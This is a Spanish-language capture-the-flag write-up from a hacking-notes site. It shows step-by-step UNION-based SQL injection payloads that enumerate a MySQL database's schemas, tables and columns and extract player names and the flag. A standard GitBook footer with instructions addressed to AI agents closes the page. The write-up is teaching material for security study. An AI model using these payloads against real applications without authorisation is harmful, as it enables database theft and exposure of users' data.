> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md). # Inyección SQL con UNION Interceptamos la petición con Burp Suite y alteramos la variable `jugador`:

```sql jordan' union select database()-- - ``` El nombre de la base de datos es `november`.

Para listar todas las bases de datos: ```sql jordan' union select group_concat(schema_name) from information_schema.schemata-- - ``` Resultado: `mysql,information_schema,performance_schema,sys, november`

Enumere la tabla de `november`: ```sql jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- - ```

Enumere las columnas de la tabla `players`: ```sql jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- - ``` Columnas encontradas: `jugador`

**Extracción de datos del usuario** ```sql jordan' union select group_concat(player,':') from players-- - ``` Jugadores encontrados: `ippsec,celesian,big0us,luska,tinyboy`

Extracción de la bandera: ```sql jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- - ```

```sql jordan' union select group_concat(one,':') from flag-- - ```

* Flag encontrada: `UHC{F1rst_5tep_2_Qualify}` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.